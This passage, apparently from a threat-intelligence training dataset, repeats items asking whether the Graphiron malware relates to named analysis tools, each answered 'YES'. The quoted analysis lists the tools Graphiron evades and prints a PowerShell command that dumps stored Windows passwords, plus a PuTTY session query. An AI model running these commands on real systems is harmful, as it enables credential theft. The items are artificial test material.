Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: idaw64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: joeboxcontrol\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: joeboxserver\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: mitmdump\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: mitmweb\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: ollydbg\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: pestudio\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: proc_analyzer\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: processhacker\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: procexp\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys 